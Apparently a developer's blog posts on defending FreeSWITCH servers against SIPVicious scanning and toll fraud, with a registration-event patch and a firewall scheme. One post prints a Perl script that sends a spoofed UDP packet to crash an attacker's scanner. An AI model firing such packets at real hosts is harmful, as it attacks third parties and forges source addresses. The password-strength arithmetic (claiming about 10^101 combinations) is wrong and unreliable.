Spitfire Testing

I provided Spitfire to a VoIP provider for beta testing. Results from the week indicate that it is working well. Performance is exceptional with the test system handling 20+ registrations per second being propagated to at least six PostgreSQL database systems with a CPU utilization of about 1% - 2% of a single core. In addition, it is being used to gather additional signaling information which is propagated to a MySQL database. That is all the provider is using it for at this point. It has been completely stable. The testing indicates that it is nearing completion. The release should be done relatively soon. I hope to get it linked to the licensing system some time next week. At that point, it will go out to some additional beta testers. If the additional beta testing comes back in good shape after a week or two, then the first release will be made.

Distributed VoIP Scanning Mitigation for FreeSWITCH

There has been some concern recently about distributed SIP scanning taking place by botnets for the purpose of toll fraud. Many devices may not have a solution for this, but the Spitfire application I have been writing will allow FreeSWITCH users, at least, to mitigate these attacks. As previously mentioned in my post about Taming SIPVicious, I wrote a patch for FreeSWITCH which adds the sofia::pre_register event.

diff --git a/src/mod/endpoints/mod_sofia/mod_sofia.h b/src/mod/endpoints/mod_sofia/mod_sofia.h
index 90f5d3a..06bf36c 100644
--- a/src/mod/endpoints/mod_sofia/mod_sofia.h
+++ b/src/mod/endpoints/mod_sofia/mod_sofia.h
@@ -76,6 +76,8 @@ typedef struct private_object private_object_t;

 #define SOFIA_SESSION_TIMEOUT "sofia_session_timeout"
 #define MY_EVENT_REGISTER "sofia::register"
+#define MY_EVENT_PRE_REGISTER "sofia::pre_register"
+#define MY_EVENT_REGISTER_ATTEMPT "sofia::register_attempt"
 #define MY_EVENT_UNREGISTER "sofia::unregister"
 #define MY_EVENT_EXPIRE "sofia::expire"
 #define MY_EVENT_GATEWAY_STATE "sofia::gateway_state"
diff --git a/src/mod/endpoints/mod_sofia/sofia_reg.c b/src/mod/endpoints/mod_sofia/sofia_reg.c
index 51ce56f..e8fdcd2 100644
--- a/src/mod/endpoints/mod_sofia/sofia_reg.c
+++ b/src/mod/endpoints/mod_sofia/sofia_reg.c
@@ -993,11 +993,37 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand

        if (authorization) {
                char *v_contact_str;
+               const char *username = "unknown";
+               const char *realm = reg_host;
                if ((auth_res = sofia_reg_parse_auth(profile, authorization, sip, sip->sip_request->rq_method_name,
                                 key, keylen, network_ip, v_event, exptime, regtype, to_user, &auth_params, &reg_count)) == AUTH_STALE) {
                        stale = 1;
                }

+
+               if (auth_params) {
+                       username = switch_event_get_header(auth_params, "sip_auth_username");
+                       realm = switch_event_get_header(auth_params, "sip_auth_realm");
+               }
+               if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_REGISTER_ATTEMPT) == SWITCH_STATUS_SUCCESS) {
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile-name", profile->name);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-user", to_user);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-host", reg_host);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "contact", contact_str);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "call-id", call_id);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "rpid", rpid);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "status", reg_desc);
+                       switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-user", from_user);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-host", from_host);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-ip", network_ip);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-port", network_port_c);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "username", username);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "realm", realm);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "user-agent", agent);
+                       switch_event_fire(&s_event);
+               }
+
                if (exptime && v_event && *v_event) {
                        char *exp_var;
                        char *allow_multireg = NULL;
@@ -1101,6 +1127,23 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
        if (!authorization || stale) {
                const char *realm = profile->challenge_realm;

+               if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_PRE_REGISTER) == SWITCH_STATUS_SUCCESS) {
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile-name", profile->name);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-user", to_user);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-host", reg_host);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "contact", contact_str);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "call-id", call_id);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "rpid", rpid);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "status", reg_desc);
+                       switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-user", from_user);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-host", from_host);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-ip", network_ip);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-port", network_port_c);
+                       switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "user-agent", agent);
+                       switch_event_fire(&s_event);
+               }
+
                if (zstr(realm) || !strcasecmp(realm, "auto_to")) {
                        realm = to_host;
                } else if (!strcasecmp(realm, "auto_from")) {

That patch also includes an additional event which was intended to be used for mitigating distributed SIP scanning, when and if it ever started happening. It appears that within the past few weeks, that has become a reality.

The additional event added is sofia::register_attempt. This event is fired when a REGISTER is received by FreeSWITCH which contains credentials. During a successful registration, three events will fire. First, sofia::pre_register will fire when the first REGISTER (without credentials) is received. Then, when credentials are sent during the second REGISTER request, sofia::register_attempt will fire. If the credentials are correct, then sofia::register will fire. By keying in on these three events, it is possible to identify whether the person sending the REGISTER requests is scanning or attempting to log in. Further, you can count failed requests and decide to firewall the IP.

I will provide a configuration for Spitfire when it sells which contains the logic required to detect and block such scans. Basically, the way it will work is this:

1. Start a timer which runs every minute that:
1. Decrements each source IP request counter by 14.
2. Dumps all IPs that still have a request count higher than 14 and firewalls them.
2. When sofia::pre_register comes in, increment the request counter for the source IP.
3. When sofia::register_attempt comes in:
1. Increment request counter for the source IP.
2. Increment attempt counter for the source IP.
3. If attempt counter exceeds 3, firewall the IP.
4. When sofia::register event comes in, clear the attempt counter and clear the request counter.

Obviously, there are limits to what you can detect like this. A normal registration attempt requires two REGISTER requests. Limiting a single source IP to 14 requests in a one-minute interval allows up to 7 full registration attempts in one minute. Normal users should never exceed this. This will detect people scanning an IP without making password attempts. When an IP starts sending password guessing attempts, that will be detected with the attempt counter. If the registration succeeds it is probably a legitimate user, so the attempt and request counters are cleared. Thus, if we ever hit an attempt count of 4, it means it failed 3 times already. This might occur for a legitimate user if their account is just being set up. But, once setup, you should never have to worry about that again.

By using a sufficiently long password (12 or more characters) which is randomly generated and contains upper and lower case letters, numbers, and symbols, the chances of guessing such a password within the lifetime of the password's use (even if it is used for years) is so small it can be ignored. There are literally 12^94 possible combinations which is 2.77 * 10^101 total combinations. That is 27.7 google combinations. Note that this number is so large that it completely dwarfs the estimated number of atoms in the entire universe. If the attacker were somehow able to test 1,000,000 combinations per second, the universe would die of entropy or a big crunch long before the attack finished. The bottom line is that you can randomly generate such a password, put it in the configuration once, and then not worry about the user being firewalled at some point in the future because they need to change their password.

So, for those of you running FreeSWITCH who need to mitigate this issue, contact Anthony Minessale II (the author of FreeSWITCH) through FreeSWITCH Solutions and let him know you are interested in Spitfire when it is released.

Taming SIPVicious

For those of you running a VoIP telecommunications network, the security scanning tool SIPVicious can be brutal to your bottom line. There appear to be tons of script-kiddies out there who are interested in performing toll fraud who use the tool to try to gain access to VoIP telecommunications networks. Unfortunately, the tool can generate a enough register requests in a single second to overwhelm most registrars. It is especially devastating when multiple attacks hit the registrar at the same time. On my network at work, I have seen as many as 1,500 register attempts per second hitting a single registrar.

The problem extends beyond VoIP telecommunications carriers and retail providers. In fact, most businesses switching to VoIP have far fewer resources to combat the issue than carriers and retail providers. However, they are just as likely to be attacked, and probably even more likely. They often have misconfigurations in their security infrastructure or their PBX that allow an attacker to successfully attack their network and commit toll fraud. If their provider does not identify unusual calling patterns on their account and shut down their account, they could find themselves unexpectedly facing tens of thousands or even hundreds of thousands of dollars in international calls when they receive their next bill. The company I work for monitors international calling for suspicious activity and will automatically disable the account if suspicious activity is detected. This typically kicks in fast enough to limit the damage to around $100.

Unfortunately, it does not prevent the damage from occurring entirely. Additionally, enterprises may find that even with their firewalls and PBXs correctly configured the attacks still cause damage by completely saturating their broadband connection with unwanted registration traffic. This saturation of the broadband link will prevent normal phone calls from completing or cause unwanted call degradation. It can even prevent more mundane Internet activity such as browsing the web or sending E-mails.

To prevent saturation of the broadband link, most businesses must turn to their broadband provider and request that the source of the traffic be firewalled (blocked) so that the traffic does not leave their broadband provider's network and utilize their broadband connection. Most broadband providers are not equipped or simply unwilling to honor such requests. I have personally witnessed attacks on my network at work persist for up to four days straight at a bandwidth utilization of about 3.8 Mbps. This is despite having a firewall block all registration attempts. An attack like this can completely devastate a small business who relies on their network and/or their VoIP solution.

Luckily, the author of SIPVicious has developed a way to stop the attacks. He discovered that a malformed response can cause SIPVicious to crash. His latest version of the program has been patched so that it does not crash, however it also implements a solution to the problem by monitoring to see if any responses to the attack are received. If no responses are received, it shuts down and declares the target as unresponsive. This means that if the attacking host is firewalled, the attack will stop and the attacker will move on to another target. However, for the older version of the program, it is necessary to send the malformed response back to the attacking host. This will cause the older version to crash, which will also stop the attack.

Unfortunately, the attack must first occur, which will still use bandwidth until it is stopped. To stop it, you must know the attacking IP address and port number. The crash tool developed by the SIPVicious author contains an auto mode that detects an attack and automatically responds to stop it. However, it must run on port 5060, which is the same port that most VoIP systems use. There is an option to install an additional Python module which will allow the program to forge a packet so it appears to be coming from port 5060. However, if you are running an older version of Python like most people using RedHat Enterprise Linux or CentOS, you would first need to install a new version of Python. Getting the crash program to run on a port other than 5060 on these platforms is difficult, at best.

To alleviate this issue, I wrote Perl script that can crash SIPVicious using the same payload as the Python script. Here is the source code for it:

#!/usr/bin/perl

use Net::RawIP;

$src = $ARGV[0];
$srcport = $ARGV[1];
$dest = $ARGV[2];
$port = $ARGV[3];

print "Sending SIPVicious crash packet from $src:$srcport to $dest:$port...\n";

$packet = Net::RawIP->new({
        ip => {
                saddr => $src,
                daddr => $dest,
        },
        udp => {
                source => $srcport,
                dest => $port,
                data =>
"SIP/2.0 200 OK\r\nVia: SIP/2.0/UDP 8.7.6.5:5061;bran" .
"ch=z9hG4bK-573841574;rport\r\n\r\nContent-length: 0\r\nFrom: " .
"\"100\"; tag=683a653a7901746865726501627965\r\nUs" .
"er-agent: Telkom Box 2.4\r\nTo: \"100\"\r\nCse" .
"q: 1 REGISTER\r\nCall-id: 469585712\r\nMax-forwards: 70\r\n\r\n"
                ,
        },
});
$packet->send;

exit(0);

You can save it as something like /usr/local/sbin/svcrash.pl. Then you will need to make it an executable and install the Net::RawIP module from CPAN:

chmod 755 /usr/local/sbin/svcrash.pl
perl -MCPAN -e'CPAN::install("Net::RawIP")'

To crash the attacker, you will need to determine the source IP and port number of the attack, as well as the destination IP and port. You can do this by using Wireshark on your traffic. For example, if the attack is occurring against your Linux-based Asterisk or FreeSWITCH server, you might just do this:

yum -y install wireshark
tshark -i any -w ~/attack.cap -S port 5060

Take a capture for a few seconds, then copy the file to your desktop and open it in Wireshark there. Look for the REGISTER packets from the attacking host and click on one. Use the lower window to determine the source IP and port. Then, on the command line, run the Perl script.

/usr/local/sbin/svcrash.pl <destination_ip> <destination_port> <attacking_ip> <attacking_port>

The beauty of this approach is that you can put up a webpage for anyone in your company to launch a counter-attack against the attacker. They can simply enter the IP and port information into the website and the website can launch the counter attack. It does not need to be done on the host that is being attacked. If you can automate the detection of the attack, you can also automatically stop the attack.

For those of you using FreeSWITCH, I recently posted a patch, which Anthony applied to the main development trunk, which adds the sofia::pre_register event. You can use an event socket connection and subscribe to this event. Then scan the event for "user-agent: friendly-scanner". When you see this, you can use the remaining IP and port information in the packet to launch your counter attack. The very first pre_register event you receive can crash the attacker and stop the attack. It may interest you to know that I have created a fully automated solution for FreeSWITCH which will be available for sale shortly. It is a daemon called Spitfire which will run in the background and watch as many event sockets as you like. The default configuration will ship with the necessary details to automatically firewall the attacking IP, send the malformed 200 OK response which crashes the attacker, and then unfirewall the IP a few minutes later. By removing the firewall rules, it will allow the daemon to see and stop any additional attacks from the IP. If the IP remains firewalled, then any additional attacks will go un-noticed and continue to use up bandwidth. The daemon comes with built-in support for MySQL and PostgreSQL databases and the necessary tables, stored procedures, and queries needed for performing these actions on a PostgreSQL database. It also contains the above Perl script, and a firewall script for working with the iptables firewall system under Linux. It should be on the market within a couple of months.

Spitfire can do a lot more than simply stopping SIPVicious attacks. It is a generic event daemon. It's XML-based configuration allows you to configure client event sockets as well as outbound-mode daemons. You can specify several different event filters and matches against the contents of those events and instruct the system to perform many different types of actions, including executing shell scripts, sending API commands to FreeSWITCH, or calling queries (also defined in the XML config file) which you can bind to one or more database systems. For example, you could specify connections to ten different PostgreSQL databases, listen for registration events, then save those registrations to all ten different databases. It also supports adding and removing timer-based commands. So you could, for example, have a call set up and perform an outbound-mode connection to Spitfire which triggers Spitfire to add a timer that every 60 seconds plays a message to your user, then watches for the call to tear down and removes the timer. It can also listen for HTTP Post messages containing an XML document. You can specify a list of "XML events" that match against XPath queries against the XML document and perform actions based on various rules.

The system will likely sell as a stand-alone system from FreeSWITCH Solutions which you can install on your servers. There is a possibility of an alternative method of sale, but discussing that would be premature at this point in time. A large potion of the proceeds (>50%) is intended to go towards support of the FreeSWITCH project.

Again, the system should be available within the next two months.